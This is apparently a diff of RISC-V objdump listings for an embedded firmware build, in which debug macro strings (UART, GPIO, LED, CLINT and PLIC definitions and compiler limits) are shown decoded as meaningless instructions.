-     708:	3656                	fld	fa2,368(sp)
-     70a:	3620                	fld	fs0,104(a2)
-     70c:	4c550037          	lui	zero,0x4c550
-     710:	5f474e4f          	fnmadd.q	ft8,fa4,fs4,fa1,rmm
-     714:	4f4c                	lw	a1,28(a4)
-     716:	474e                	lw	a4,208(sp)
-     718:	4d5f 5841 5f00      	0x5f0058414d5f
-     71e:	475f 554e 4c43      	0x4c43554e475f
-     724:	4b49                	li	s6,18
-     726:	5f45                	li	t5,-15
-     728:	5f5f 5954 4550      	0x455059545f5f
-     72e:	3120464f          	fnmadd.s	fa2,ft0,fs2,ft6,rmm
-     732:	5f00                	lw	s0,56(a4)
-     734:	545f4353          	0x545f4353
-     738:	5248                	lw	a0,36(a2)
-     73a:	4145                	li	sp,17
-     73c:	5f44                	lw	s1,60(a4)
-     73e:	45464153          	0x45464153
-     742:	465f 4e55 5443      	0x54434e55465f
-     748:	4f49                	li	t5,18
-     74a:	534e                	lw	t1,240(sp)
-     74c:	3420                	fld	fs0,104(s0)
-     74e:	0039                	c.nop	14
-     750:	535f 5f43 4f58      	0x4f585f43535f
-     756:	4550                	lw	a2,12(a0)
-     758:	5f4e                	lw	t5,240(sp)
-     75a:	5555                	li	a0,-11
-     75c:	31205043          	fmadd.s	ft0,ft0,fs2,ft6,unknown
-     760:	3432                	fld	fs0,296(sp)
-     762:	5f00                	lw	s0,56(a4)
-     764:	445f 4c42 4d5f      	0x4d5f4c42445f
-     76a:	4e49                	li	t3,18
-     76c:	5f5f 2820 6428      	0x642828205f5f
-     772:	6c62756f          	jal	a0,27e38 <__stack_size+0x27638>
-     776:	2965                	jal	c2e <__stack_size+0x42e>
-     778:	2e32                	fld	ft8,264(sp)
-     77a:	3232                	fld	ft4,296(sp)
-     77c:	3035                	jal	ffffffa8 <_heap_end+0x7fff17a8>
-     77e:	35383337          	lui	t1,0x35383
-     782:	3538                	fld	fa4,104(a0)
-     784:	3730                	fld	fa2,104(a4)
-     786:	3032                	fld	ft0,296(sp)
-     788:	3331                	jal	494 <__stack_size-0x36c>
-     78a:	3338                	fld	fa4,96(a4)
-     78c:	3930                	fld	fa2,112(a0)
-     78e:	3230                	fld	fa2,96(a2)
-     790:	31373233          	0x31373233
-     794:	32333337          	lui	t1,0x32333
-     798:	3034                	fld	fa3,96(s0)
-     79a:	3034                	fld	fa3,96(s0)
-     79c:	6536                	flw	fa0,76(sp)
-     79e:	332d                	jal	4c8 <__stack_size-0x338>
-     7a0:	3830                	fld	fa2,112(s0)
-     7a2:	294c                	fld	fa1,144(a0)
-     7a4:	5f00                	lw	s0,56(a4)
-     7a6:	455f 464c 5f5f      	0x5f5f464c455f
-     7ac:	3120                	fld	fs0,96(a0)
-     7ae:	5f00                	lw	s0,56(a4)
-     7b0:	535f 5a49 4f45      	0x4f455a49535f
-     7b6:	5f46                	lw	t5,112(sp)
-     7b8:	4f4c                	lw	a1,28(a4)
-     7ba:	474e                	lw	a4,208(sp)
-     7bc:	5f5f 3420 5f00      	0x5f0034205f5f
-     7c2:	6e5f 6565 5f64      	0x5f6465656e5f
-     7c8:	746e6977          	0x746e6977
-     7cc:	745f 0020 475f      	0x475f0020745f
-     7d2:	4e5f4343          	fmadd.q	ft6,ft10,ft5,fs1,rmm
-     7d6:	5845                	li	a6,-15
-     7d8:	5f54                	lw	a3,60(a4)
-     7da:	494c                	lw	a1,20(a0)
-     7dc:	494d                	li	s2,19
-     7de:	5354                	lw	a3,36(a4)
-     7e0:	485f 0020 5f5f      	0x5f5f0020485f
-     7e6:	41484357          	0x41484357
-     7ea:	5f52                	lw	t5,52(sp)
-     7ec:	5f54                	lw	a3,60(a4)
-     7ee:	205f 5500 5241      	0x52415500205f
-     7f4:	5f54                	lw	a3,60(a4)
-     7f6:	4944                	lw	s1,20(a0)
-     7f8:	2056                	fld	ft0,336(sp)
-     7fa:	7830                	flw	fa2,112(s0)
-     7fc:	3831                	jal	18 <__stack_size-0x7e8>
-     7fe:	4700                	lw	s0,8(a4)
-     800:	4950                	lw	a2,20(a0)
-     802:	52445f4f          	fnmadd.d	ft10,fs0,ft4,fa0,unknown
-     806:	5649                	li	a2,-14
-     808:	2045                	jal	8a8 <__stack_size+0xa8>
-     80a:	7830                	flw	fa2,112(s0)
-     80c:	3431                	jal	218 <__stack_size-0x5e8>
-     80e:	7000                	flw	fs0,32(s0)
-     810:	7968                	flw	fa0,116(a0)
-     812:	72646173          	csrrsi	sp,0x726,8
-     816:	7020                	flw	fs0,96(s0)
-     818:	7968                	flw	fa0,116(a0)
-     81a:	72646173          	csrrsi	sp,0x726,8
-     81e:	745f 5f00 6e5f      	0x6e5f5f00745f
-     824:	6565                	lui	a0,0x19
-     826:	5f64                	lw	s1,124(a4)
-     828:	5f5f 6176 6c5f      	0x6c5f61765f5f
-     82e:	7369                	lui	t1,0xffffa
-     830:	0074                	addi	a3,sp,12
-     832:	5f5f 4156 494c      	0x494c41565f5f
-     838:	5f205453          	0x5f205453
-     83c:	675f 756e 5f63      	0x5f63756e675f
-     842:	6176                	flw	ft2,92(sp)
-     844:	6c5f 7369 0074      	0x7473696c5f
-     84a:	5f555043          	fmadd.q	ft0,fa0,fs5,fa1,unknown
-     84e:	5246                	lw	tp,112(sp)
-     850:	5145                	li	sp,-15
-     852:	3620                	fld	fs0,104(a2)
-     854:	3934                	fld	fa3,112(a0)
-     856:	3839                	jal	74 <__stack_size-0x78c>
-     858:	3434                	fld	fa3,104(s0)
-     85a:	0032                	c.slli	zero,0xc
-     85c:	7571                	lui	a0,0xffffc
-     85e:	6461                	lui	s0,0x18
-     860:	7120                	flw	fs0,96(a0)
-     862:	6175                	addi	sp,sp,368
-     864:	5f64                	lw	s1,124(a4)
-     866:	0074                	addi	a3,sp,12
-     868:	454c                	lw	a1,12(a0)
-     86a:	5f44                	lw	s1,60(a4)
-     86c:	4c42                	lw	s8,16(sp)
-     86e:	4555                	li	a0,21
-     870:	3320                	fld	fs0,96(a4)
-     872:	5300                	lw	s0,32(a4)
-     874:	52414843          	fmadd.d	fa6,ft2,ft4,fa0,rmm
-     878:	4d5f 5841 5f20      	0x5f2058414d5f
-     87e:	535f 4843 5241      	0x52414843535f
-     884:	4d5f 5841 5f5f      	0x5f5f58414d5f
-     88a:	5f00                	lw	s0,56(a4)
-     88c:	4f50                	lw	a2,28(a4)
-     88e:	5f584953          	0x5f584953
-     892:	4f535f43          	fmadd.q	ft10,ft6,fs5,fs1,unknown
-     896:	5255                	li	tp,-11
-     898:	5f004543          	fmadd.q	fa0,ft0,fa6,fa1,rmm
-     89c:	535f 5248 5f54      	0x5f545248535f
-     8a2:	54444957          	0x54444957
-     8a6:	5f48                	lw	a0,60(a4)
-     8a8:	205f 3631 5500      	0x55003631205f
-     8ae:	4e49                	li	t3,18
-     8b0:	5f54                	lw	a3,60(a4)
-     8b2:	414d                	li	sp,19
-     8b4:	2058                	fld	fa4,128(s0)
-     8b6:	4928                	lw	a0,80(a0)
-     8b8:	544e                	lw	s0,240(sp)
-     8ba:	4d5f 5841 2a20      	0x2a2058414d5f
-     8c0:	3220                	fld	fs0,96(a2)
-     8c2:	2055                	jal	966 <__stack_size+0x166>
-     8c4:	5531202b          	0x5531202b
-     8c8:	0029                	c.nop	10
-     8ca:	5f5f 2850 7270      	0x727028505f5f
-     8d0:	736f746f          	jal	s0,f8006 <__stack_size+0xf7806>
-     8d4:	2029                	jal	8de <__stack_size+0xde>
-     8d6:	7270                	flw	fa2,100(a2)
-     8d8:	736f746f          	jal	s0,f800e <__stack_size+0xf780e>
-     8dc:	5f00                	lw	s0,56(a4)
-     8de:	465f 544c 3233      	0x3233544c465f
-     8e4:	5f58                	lw	a4,60(a4)
-     8e6:	494d                	li	s2,19
-     8e8:	5f4e                	lw	t5,240(sp)
-     8ea:	3031                	jal	f6 <__stack_size-0x70a>
-     8ec:	455f 5058 5f5f      	0x5f5f5058455f
-     8f2:	2820                	fld	fs0,80(s0)
-     8f4:	332d                	jal	61e <__stack_size-0x1e2>
-     8f6:	3730                	fld	fa2,104(a4)
-     8f8:	0029                	c.nop	10
-     8fa:	5f5f 695f 746e      	0x746e695f5f5f
-     900:	6c5f 6165 7473      	0x747361656c5f
-     906:	745f3233          	0x745f3233
-     90a:	645f 6665 6e69      	0x6e696665645f
-     910:	6465                	lui	s0,0x19
-     912:	3120                	fld	fs0,96(a0)
-     914:	4600                	lw	s0,8(a2)
-     916:	5845                	li	a6,-15
-     918:	5f204c43          	fmadd.q	fs8,ft0,fs2,fa1,rmm
-     91c:	4546                	lw	a0,80(sp)
-     91e:	4358                	lw	a4,4(a4)
-     920:	004c                	addi	a1,sp,4
-     922:	74727473          	csrrci	s0,0x747,4
-     926:	2066646f          	jal	s0,66b2c <__stack_size+0x6632c>
-     92a:	74727473          	csrrci	s0,0x747,4
-     92e:	5f00666f          	jal	a2,6f1e <__stack_size+0x671e>
-     932:	495f 544e 465f      	0x465f544e495f
-     938:	5341                	li	t1,-16
-     93a:	3154                	fld	fa3,160(a0)
-     93c:	5f36                	lw	t5,108(sp)
-     93e:	54444957          	0x54444957
-     942:	5f48                	lw	a0,60(a4)
-     944:	205f 3233 5f00      	0x5f003233205f
-     94a:	465f 544c 485f      	0x485f544c465f
-     950:	5341                	li	t1,-16
-     952:	495f 464e 4e49      	0x4e49464e495f
-     958:	5449                	li	s0,-14
-     95a:	5f59                	li	t5,-10
-     95c:	205f 0031 475f      	0x475f0031205f
-     962:	4f4c                	lw	a1,28(a4)
-     964:	4142                	lw	sp,16(sp)
-     966:	5f4c                	lw	a1,60(a4)
-     968:	4552                	lw	a0,20(sp)
-     96a:	4e45                	li	t3,17
-     96c:	2054                	fld	fa3,128(s0)
-     96e:	675f 6f6c 6162      	0x61626f6c675f
-     974:	5f6c                	lw	a1,124(a4)
-     976:	6d69                	lui	s10,0x1a
-     978:	7570                	flw	fa2,108(a0)
-     97a:	6572                	flw	fa0,28(sp)
-     97c:	705f 7274 5f00      	0x5f007274705f
-     982:	465f 544c 3231      	0x3231544c465f
-     988:	5f38                	lw	a4,120(a4)
-     98a:	494d                	li	s2,19
-     98c:	5f4e                	lw	t5,240(sp)
-     98e:	3031                	jal	19a <__stack_size-0x666>
-     990:	455f 5058 5f5f      	0x5f5f5058455f
-     996:	2820                	fld	fs0,80(s0)
-     998:	342d                	jal	3c2 <__stack_size-0x43e>
-     99a:	3339                	jal	6a8 <__stack_size-0x158>
-     99c:	2931                	jal	db8 <__stack_size+0x5b8>
-     99e:	5f00                	lw	s0,56(a4)
-     9a0:	4552                	lw	a0,20(sp)
-     9a2:	28363147          	fmsub.s	ft2,fa2,ft3,ft5,rup
-     9a6:	6162                	flw	ft2,24(sp)
-     9a8:	6f2c6573          	csrrsi	a0,0x6f2,24
-     9ac:	6666                	flw	fa2,88(sp)
-     9ae:	29746573          	csrrsi	a0,0x297,8
-     9b2:	2820                	fld	fs0,80(s0)
-     9b4:	282a                	fld	fa6,136(sp)
-     9b6:	6f76                	flw	ft10,92(sp)
-     9b8:	616c                	flw	fa1,68(a0)
-     9ba:	6974                	flw	fa3,84(a0)
-     9bc:	656c                	flw	fa1,76(a0)
-     9be:	7520                	flw	fs0,104(a0)
-     9c0:	6e69                	lui	t3,0x1a
-     9c2:	3174                	fld	fa3,224(a0)
-     9c4:	5f36                	lw	t5,108(sp)
-     9c6:	2074                	fld	fa3,192(s0)
-     9c8:	292a                	fld	fs2,136(sp)
-     9ca:	2828                	fld	fa0,80(s0)
-     9cc:	6162                	flw	ft2,24(sp)
-     9ce:	20296573          	csrrsi	a0,hedeleg,18
-     9d2:	6f28202b          	0x6f28202b
-     9d6:	6666                	flw	fa2,88(sp)
-     9d8:	29746573          	csrrsi	a0,0x297,8
-     9dc:	2929                	jal	df6 <__stack_size+0x5f6>
-     9de:	7000                	flw	fs0,32(s0)
-     9e0:	6972                	flw	fs2,28(sp)
-     9e2:	746e                	flw	fs0,248(sp)
-     9e4:	735f 6174 7374      	0x73746174735f
-     9ea:	5f00                	lw	s0,56(a4)
-     9ec:	575f 4843 5241      	0x52414843575f
-     9f2:	4d5f 4e49 5f5f      	0x5f5f4e494d5f
-     9f8:	2820                	fld	fs0,80(s0)
-     9fa:	5f2d                	li	t5,-21
-     9fc:	575f 4843 5241      	0x52414843575f
-     a02:	4d5f 5841 5f5f      	0x5f5f58414d5f
-     a08:	2d20                	fld	fs0,88(a0)
-     a0a:	3120                	fld	fs0,96(a0)
-     a0c:	0029                	c.nop	10
-     a0e:	4e49                	li	t3,18
-     a10:	5f54                	lw	a3,60(a4)
-     a12:	4146                	lw	sp,80(sp)
-     a14:	34365453          	0x34365453
-     a18:	4d5f 5841 5f20      	0x5f2058414d5f
-     a1e:	495f 544e 465f      	0x465f544e495f
-     a24:	5341                	li	t1,-16
-     a26:	3654                	fld	fa3,168(a2)
-     a28:	5f34                	lw	a3,120(a4)
-     a2a:	414d                	li	sp,19
-     a2c:	5f58                	lw	a4,60(a4)
-     a2e:	005f 505f 4854      	0x4854505f005f
-     a34:	4552                	lw	a0,20(sp)
-     a36:	4441                	li	s0,16
-     a38:	4d5f 5455 5845      	0x584554554d5f
-     a3e:	495f 494e 4954      	0x4954494e495f
-     a44:	4c41                	li	s8,16
-     a46:	5a49                	li	s4,-14
-     a48:	5245                	li	tp,-15
-     a4a:	2820                	fld	fs0,80(s0)
-     a4c:	7028                	flw	fa0,96(s0)
-     a4e:	6874                	flw	fa3,84(s0)
-     a50:	6572                	flw	fa0,28(sp)
-     a52:	6461                	lui	s0,0x18
-     a54:	6d5f 7475 7865      	0x786574756d5f
-     a5a:	745f 2029 7830      	0x78302029745f
-     a60:	4646                	lw	a2,80(sp)
-     a62:	4646                	lw	a2,80(sp)
-     a64:	4646                	lw	a2,80(sp)
-     a66:	4646                	lw	a2,80(sp)
-     a68:	0029                	c.nop	10
-     a6a:	4e49                	li	t3,18
-     a6c:	5f54                	lw	a3,60(a4)
-     a6e:	494d                	li	s2,19
-     a70:	204e                	fld	ft0,208(sp)
-     a72:	2d28                	fld	fa0,88(a0)
-     a74:	4e49                	li	t3,18
-     a76:	5f54                	lw	a3,60(a4)
-     a78:	414d                	li	sp,19
-     a7a:	2058                	fld	fa4,128(s0)
-     a7c:	202d                	jal	aa6 <__stack_size+0x2a6>
-     a7e:	2931                	jal	e9a <__stack_size+0x69a>
-     a80:	5f00                	lw	s0,56(a4)
-     a82:	5355                	li	t1,-11
-     a84:	4345                	li	t1,17
-     a86:	53444e4f          	fnmadd.d	ft8,fs0,fs4,fa0,rmm
-     a8a:	545f 445f 4345      	0x4345445f545f
-     a90:	414c                	lw	a1,4(a0)
-     a92:	4552                	lw	a0,20(sp)
-     a94:	2044                	fld	fs1,128(s0)
-     a96:	5f00                	lw	s0,56(a4)
-     a98:	435f4353          	0x435f4353
-     a9c:	4948                	lw	a0,20(a0)
-     a9e:	444c                	lw	a1,12(s0)
-     aa0:	4d5f 5841 3120      	0x312058414d5f
-     aa6:	5f00                	lw	s0,56(a4)
-     aa8:	705f 6572 6964      	0x69646572705f
-     aae:	745f7463          	bgeu	t5,t0,11f6 <__stack_size+0x9f6>
-     ab2:	7572                	flw	fa0,60(sp)
-     ab4:	2865                	jal	b6c <__stack_size+0x36c>
-     ab6:	7865                	lui	a6,0xffff9
-     ab8:	2970                	fld	fa2,208(a0)
-     aba:	5f20                	lw	s0,120(a4)
-     abc:	625f 6975 746c      	0x746c6975625f
-     ac2:	6e69                	lui	t3,0x1a
-     ac4:	655f 7078 6365      	0x63657078655f
-     aca:	2874                	fld	fa3,208(s0)
-     acc:	6528                	flw	fa0,72(a0)
-     ace:	7078                	flw	fa4,100(s0)
-     ad0:	2c29                	jal	cea <__stack_size+0x4ea>
-     ad2:	3120                	fld	fs0,96(a0)
-     ad4:	0029                	c.nop	10
-     ad6:	52495f53          	0x52495f53
-     ada:	204f5857          	0x204f5857
-     ade:	5328                	lw	a0,96(a4)
-     ae0:	495f 4f52 4854      	0x48544f52495f
-     ae6:	7c20                	flw	fs0,120(s0)
-     ae8:	5320                	lw	s0,96(a4)
-     aea:	495f 4f57 4854      	0x48544f57495f
-     af0:	7c20                	flw	fs0,120(s0)
-     af2:	5320                	lw	s0,96(a4)
-     af4:	495f 4f58 4854      	0x48544f58495f
-     afa:	0029                	c.nop	10
-     afc:	7269                	lui	tp,0xffffa
-     afe:	5f71                	li	t5,-4
-     b00:	6e69                	lui	t3,0x1a
-     b02:	5f727473          	csrrci	s0,0x5f7,4
-     b06:	616d                	addi	sp,sp,240
-     b08:	0078                	addi	a4,sp,12
-     b0a:	5f5f 6c61 6769      	0x67696c615f5f
-     b10:	656e                	flw	fa0,216(sp)
-     b12:	2864                	fld	fs1,208(s0)
-     b14:	2978                	fld	fa4,208(a0)
+      d4:	465f 4f4c 5441      	0x54414f4c465f
+      da:	575f 524f 5f44      	0x5f44524f575f
+      e0:	4544524f          	0x4544524f
+      e4:	5f52                	lw	t5,52(sp)
+      e6:	205f 5f5f 524f      	0x524f5f5f205f
+      ec:	4544                	lw	s1,12(a0)
+      ee:	5f52                	lw	t5,52(sp)
+      f0:	494c                	lw	a1,20(a0)
+      f2:	5454                	lw	a3,44(s0)
+      f4:	454c                	lw	a1,12(a0)
+      f6:	455f 444e 4149      	0x4149444e455f
+      fc:	5f4e                	lw	t5,240(sp)
+      fe:	005f 5f53 4549      	0x45495f53005f
+     104:	4558                	lw	a4,12(a0)
+     106:	30302043          	fmadd.s	ft0,ft0,ft3,ft6,rdn
+     10a:	3030                	fld	fa2,96(s0)
+     10c:	3031                	jal	fffff918 <_heap_end+0x7fff1118>
+     10e:	0030                	addi	a2,sp,8
+     110:	6c61                	lui	s8,0x18
+     112:	6f6c                	flw	fa1,92(a4)
+     114:	43006163          	bltu	zero,a6,536 <__stack_size-0x2ca>
+     118:	494c                	lw	a1,20(a0)
+     11a:	544e                	lw	s0,240(sp)
+     11c:	425f 5341 2045      	0x20455341425f
+     122:	7830                	flw	fa2,112(s0)
+     124:	3230                	fld	fa2,96(a2)
+     126:	3030                	fld	fa2,96(s0)
+     128:	3030                	fld	fa2,96(s0)
+     12a:	3030                	fld	fa2,96(s0)
+     12c:	5f00                	lw	s0,56(a4)
+     12e:	415f4353          	0x415f4353
+     132:	5056                	0x5056
+     134:	5948                	lw	a0,52(a0)
+     136:	41505f53          	0x41505f53
+     13a:	20534547          	fmsub.s	fa0,ft6,ft5,ft4,rmm
+     13e:	3231                	jal	fffffa4a <_heap_end+0x7fff124a>
+     140:	5500                	lw	s0,40(a0)
+     142:	4e49                	li	t3,18
+     144:	5f54                	lw	a3,60(a4)
+     146:	4146                	lw	sp,80(sp)
+     148:	32335453          	0x32335453
+     14c:	4d5f 5841 5f00      	0x5f0058414d5f
+     152:	4552                	lw	a0,20(sp)
+     154:	4e45                	li	t3,17
+     156:	5f54                	lw	a3,60(a4)
+     158:	364c                	fld	fa1,168(a2)
+     15a:	4134                	lw	a3,64(a0)
+     15c:	425f 4655 7028      	0x70284655425f
+     162:	7274                	flw	fa3,100(a2)
+     164:	2029                	jal	16e <__stack_size-0x692>
+     166:	2828                	fld	fa0,80(s0)
+     168:	7470                	flw	fa2,108(s0)
+     16a:	2972                	fld	fs2,280(sp)
+     16c:	3e2d                	jal	fffffca6 <_heap_end+0x7fff14a6>
+     16e:	6e5f 7765 5f2e      	0x5f2e77656e5f
+     174:	6572                	flw	fa0,28(sp)
+     176:	6e65                	lui	t3,0x19
+     178:	2e74                	fld	fa3,216(a2)
+     17a:	6c5f 3436 5f61      	0x5f6134366c5f
+     180:	7562                	flw	fa0,56(sp)
+     182:	2966                	fld	fs2,88(sp)
+     184:	5f00                	lw	s0,56(a4)
+     186:	535f4353          	0x535f4353
+     18a:	4749                	li	a4,18
+     18c:	5551                	li	a0,-12
+     18e:	5545                	li	a0,-15
+     190:	5f45                	li	t5,-15
+     192:	414d                	li	sp,19
+     194:	2058                	fld	fa4,128(s0)
+     196:	3831                	jal	fffff9b2 <_heap_end+0x7fff11b2>
+     198:	5f00                	lw	s0,56(a4)
+     19a:	465f 544c 3233      	0x3233544c465f
+     1a0:	445f 4749 5f5f      	0x5f5f4749445f
+     1a6:	3620                	fld	fs0,104(a2)
+     1a8:	5f00                	lw	s0,56(a4)
+     1aa:	41484357          	0x41484357
+     1ae:	5f52                	lw	t5,52(sp)
+     1b0:	5f54                	lw	a3,60(a4)
+     1b2:	4544                	lw	s1,12(a0)
+     1b4:	4946                	lw	s2,80(sp)
+     1b6:	454e                	lw	a0,208(sp)
+     1b8:	2044                	fld	fs1,128(s0)
+     1ba:	5000                	lw	s0,32(s0)
+     1bc:	494c                	lw	a1,20(a0)
+     1be:	45525f43          	0x45525f43
+     1c2:	666f2847          	fmsub.q	fa6,ft10,ft6,fa2,rdn
+     1c6:	7366                	flw	ft6,120(sp)
+     1c8:	7465                	lui	s0,0xffff9
+     1ca:	2029                	jal	1d4 <__stack_size-0x62c>
+     1cc:	525f 4745 3233      	0x32334745525f
+     1d2:	5028                	lw	a0,96(s0)
+     1d4:	494c                	lw	a1,20(a0)
+     1d6:	41425f43          	fmadd.s	ft10,ft4,fs4,fs0,unknown
+     1da:	202c4553          	0x202c4553
+     1de:	7366666f          	jal	a2,66914 <__stack_size+0x66114>
+     1e2:	7465                	lui	s0,0xffff9
+     1e4:	0029                	c.nop	10
+     1e6:	535f 5f43 4556      	0x45565f43535f
+     1ec:	5352                	lw	t1,52(sp)
+     1ee:	4f49                	li	t5,18
+     1f0:	204e                	fld	ft0,208(sp)
+     1f2:	48530037          	lui	zero,0x48530
+     1f6:	5452                	lw	s0,52(sp)
+     1f8:	4d5f 5841 5f20      	0x5f2058414d5f
+     1fe:	535f 5248 5f54      	0x5f545248535f
+     204:	414d                	li	sp,19
+     206:	5f58                	lw	a4,60(a4)
+     208:	005f 5f5f 494d      	0x494d5f5f005f
+     20e:	565f4353          	0x565f4353
+     212:	5349                	li	t1,-14
+     214:	4249                	li	tp,18
+     216:	454c                	lw	a1,12(a0)
+     218:	3120                	fld	fs0,96(a0)
+     21a:	5f00                	lw	s0,56(a4)
+     21c:	4c5f4353          	0x4c5f4353
+     220:	5645                	li	a2,-15
+     222:	4c45                	li	s8,17
+     224:	41435f33          	sra	t5,t1,s4
+     228:	5f454843          	fmadd.q	fa6,fa0,fs4,fa1,rmm
+     22c:	5341                	li	t1,-16
+     22e:	20434f53          	0x20434f53
+     232:	3331                	jal	ffffff3e <_heap_end+0x7fff173e>
+     234:	0035                	c.nop	13
+     236:	5f5f 4e49 5f54      	0x5f544e495f5f
+     23c:	4146                	lw	sp,80(sp)
+     23e:	36315453          	0x36315453
+     242:	4d5f 5841 5f5f      	0x5f5f58414d5f
+     248:	3020                	fld	fs0,96(s0)
+     24a:	3778                	fld	fa4,232(a4)
+     24c:	6666                	flw	fa2,88(sp)
+     24e:	6666                	flw	fa2,88(sp)
+     250:	6666                	flw	fa2,88(sp)
+     252:	0066                	c.slli	zero,0x19
+     254:	5f5f 5753 4449      	0x444957535f5f
+     25a:	3020                	fld	fs0,96(s0)
+     25c:	3278                	fld	fa4,224(a2)
+     25e:	3030                	fld	fa2,96(s0)
+     260:	0030                	addi	a2,sp,8
+     262:	525f 4545 544e      	0x544e4545525f
+     268:	435f 4548 4b43      	0x4b434548435f
+     26e:	525f 4e41 3444      	0x34444e41525f
+     274:	2838                	fld	fa4,80(s0)
+     276:	7470                	flw	fa2,108(s0)
+     278:	2972                	fld	fs2,280(sp)
+     27a:	0020                	addi	s0,sp,8
+     27c:	4f495047          	fmsub.q	ft0,fs2,fs4,fs1,unknown
+     280:	485f 4749 5f48      	0x5f484749485f
+     286:	5049                	c.li	zero,-14
+     288:	3020                	fld	fs0,96(s0)
+     28a:	3278                	fld	fa4,224(a2)
+     28c:	49550043          	fmadd.s	ft0,fa0,fs5,fs1,rne
+     290:	544e                	lw	s0,240(sp)
+     292:	4c5f 4145 5453      	0x545341454c5f
+     298:	3631                	jal	fffffda4 <_heap_end+0x7fff15a4>
+     29a:	4d5f 5841 5500      	0x550058414d5f
+     2a0:	4e49                	li	t3,18
+     2a2:	5f54                	lw	a3,60(a4)
+     2a4:	454c                	lw	a1,12(a0)
+     2a6:	5341                	li	t1,-16
+     2a8:	3854                	fld	fa3,176(s0)
+     2aa:	4d5f 5841 5f20      	0x5f2058414d5f
+     2b0:	555f 4e49 5f54      	0x5f544e49555f
+     2b6:	454c                	lw	a1,12(a0)
+     2b8:	5341                	li	t1,-16
+     2ba:	3854                	fld	fa3,176(s0)
+     2bc:	4d5f 5841 5f5f      	0x5f5f58414d5f
+     2c2:	5f00                	lw	s0,56(a4)
+     2c4:	465f 544c 4d5f      	0x4d5f544c465f
+     2ca:	5841                	li	a6,-16
+     2cc:	315f 5f30 5845      	0x58455f30315f
+     2d2:	5f50                	lw	a2,60(a4)
+     2d4:	205f 3833 5f00      	0x5f003833205f
+     2da:	535f 4749 415f      	0x415f4749535f
+     2e0:	4f54                	lw	a3,28(a4)
+     2e2:	494d                	li	s2,19
+     2e4:	414d5f43          	fmadd.s	ft10,fs10,fs4,fs0,unknown
+     2e8:	5f58                	lw	a4,60(a4)
+     2ea:	205f 7830 6637      	0x66377830205f
+     2f0:	6666                	flw	fa2,88(sp)
+     2f2:	6666                	flw	fa2,88(sp)
+     2f4:	6666                	flw	fa2,88(sp)
+     2f6:	5f00                	lw	s0,56(a4)
+     2f8:	544e4957          	0x544e4957
+     2fc:	545f 0020 4e49      	0x4e490020545f
+     302:	5f54                	lw	a3,60(a4)
+     304:	454c                	lw	a1,12(a0)
+     306:	5341                	li	t1,-16
+     308:	3154                	fld	fa3,160(a0)
+     30a:	5f36                	lw	t5,108(sp)
+     30c:	494d                	li	s2,19
+     30e:	204e                	fld	ft0,208(sp)
+     310:	2d28                	fld	fa0,88(a0)
+     312:	4e49                	li	t3,18
+     314:	5f54                	lw	a3,60(a4)
+     316:	454c                	lw	a1,12(a0)
+     318:	5341                	li	t1,-16
+     31a:	3154                	fld	fa3,160(a0)
+     31c:	5f36                	lw	t5,108(sp)
+     31e:	414d                	li	sp,19
+     320:	2058                	fld	fa4,128(s0)
+     322:	202d                	jal	34c <__stack_size-0x4b4>
+     324:	2931                	jal	740 <__stack_size-0xc0>
+     326:	4600                	lw	s0,8(a2)
+     328:	445f 5055 4446      	0x44465055445f
+     32e:	435f 4f4c 5845      	0x58454f4c435f
+     334:	4345                	li	t1,17
+     336:	3120                	fld	fs0,96(a0)
+     338:	0034                	addi	a3,sp,8
+     33a:	6566                	flw	fa0,88(sp)
+     33c:	7028666f          	jal	a2,86a3e <__stack_size+0x8623e>
+     340:	2029                	jal	34a <__stack_size-0x4b6>
+     342:	5f5f 6673 6f65      	0x6f6566735f5f
+     348:	2866                	fld	fa6,88(sp)
+     34a:	2970                	fld	fa2,208(a0)
+     34c:	5f00                	lw	s0,56(a4)
+     34e:	735f 6566 7272      	0x72726566735f
+     354:	7028726f          	jal	tp,87a56 <__stack_size+0x87256>
+     358:	2029                	jal	362 <__stack_size-0x49e>
+     35a:	2828                	fld	fa0,80(s0)
+     35c:	6e69                	lui	t3,0x1a
+     35e:	2974                	fld	fa3,208(a0)
+     360:	2828                	fld	fa0,80(s0)
+     362:	7028                	flw	fa0,96(s0)
+     364:	2d29                	jal	97e <__stack_size+0x17e>
+     366:	5f3e                	lw	t5,236(sp)
+     368:	6c66                	flw	fs8,88(sp)
+     36a:	6761                	lui	a4,0x18
+     36c:	20262073          	csrs	hedeleg,a2
+     370:	5f5f 4553 5252      	0x525245535f5f
+     376:	2029                	jal	380 <__stack_size-0x480>
+     378:	3d21                	jal	190 <__stack_size-0x670>
+     37a:	3020                	fld	fs0,96(s0)
+     37c:	2929                	jal	796 <__stack_size-0x6a>
+     37e:	5f00                	lw	s0,56(a4)
+     380:	545f4353          	0x545f4353
+     384:	4152                	lw	sp,20(sp)
+     386:	495f4543          	fmadd.s	fa0,ft10,fs5,fs1,rmm
+     38a:	484e                	lw	a6,208(sp)
+     38c:	5245                	li	tp,-15
+     38e:	5449                	li	s0,-14
+     390:	3820                	fld	fs0,112(s0)
+     392:	0036                	c.slli	zero,0xd
+     394:	4e49                	li	t3,18
+     396:	5f54                	lw	a3,60(a4)
+     398:	454c                	lw	a1,12(a0)
+     39a:	5341                	li	t1,-16
+     39c:	3154                	fld	fa3,160(a0)
+     39e:	5f36                	lw	t5,108(sp)
+     3a0:	494d                	li	s2,19
+     3a2:	004e                	c.slli	zero,0x13
+     3a4:	4c425f53          	0x4c425f53
+     3a8:	5a49534b          	fnmsub.d	ft6,fs2,ft4,fa1,unknown
+     3ac:	2045                	jal	44c <__stack_size-0x3b4>
+     3ae:	3031                	jal	fffffbba <_heap_end+0x7fff13ba>
+     3b0:	3432                	fld	fs0,296(sp)
+     3b2:	5200                	lw	s0,32(a2)
+     3b4:	4f5f 204b 0034      	0x34204b4f5f
+     3ba:	435f 4f4c 4b43      	0x4b434f4c435f
+     3c0:	545f 205f 6e75      	0x6e75205f545f
+     3c6:	6e676973          	csrrsi	s2,0x6e6,14
+     3ca:	6465                	lui	s0,0x19
+     3cc:	6c20                	flw	fs0,88(s0)
+     3ce:	00676e6f          	jal	t3,763d4 <__stack_size+0x75bd4>
+     3d2:	5f5f 6168 6576      	0x657661685f5f
+     3d8:	6c5f 6e6f 6c67      	0x6c676e6f6c5f
+     3de:	36676e6f          	jal	t3,76744 <__stack_size+0x75f44>
+     3e2:	2034                	fld	fa3,64(s0)
+     3e4:	0031                	c.nop	12
+     3e6:	5f5f 5450 4452      	0x445254505f5f
+     3ec:	4649                	li	a2,18
+     3ee:	5f46                	lw	t5,112(sp)
+     3f0:	414d                	li	sp,19
+     3f2:	5f58                	lw	a4,60(a4)
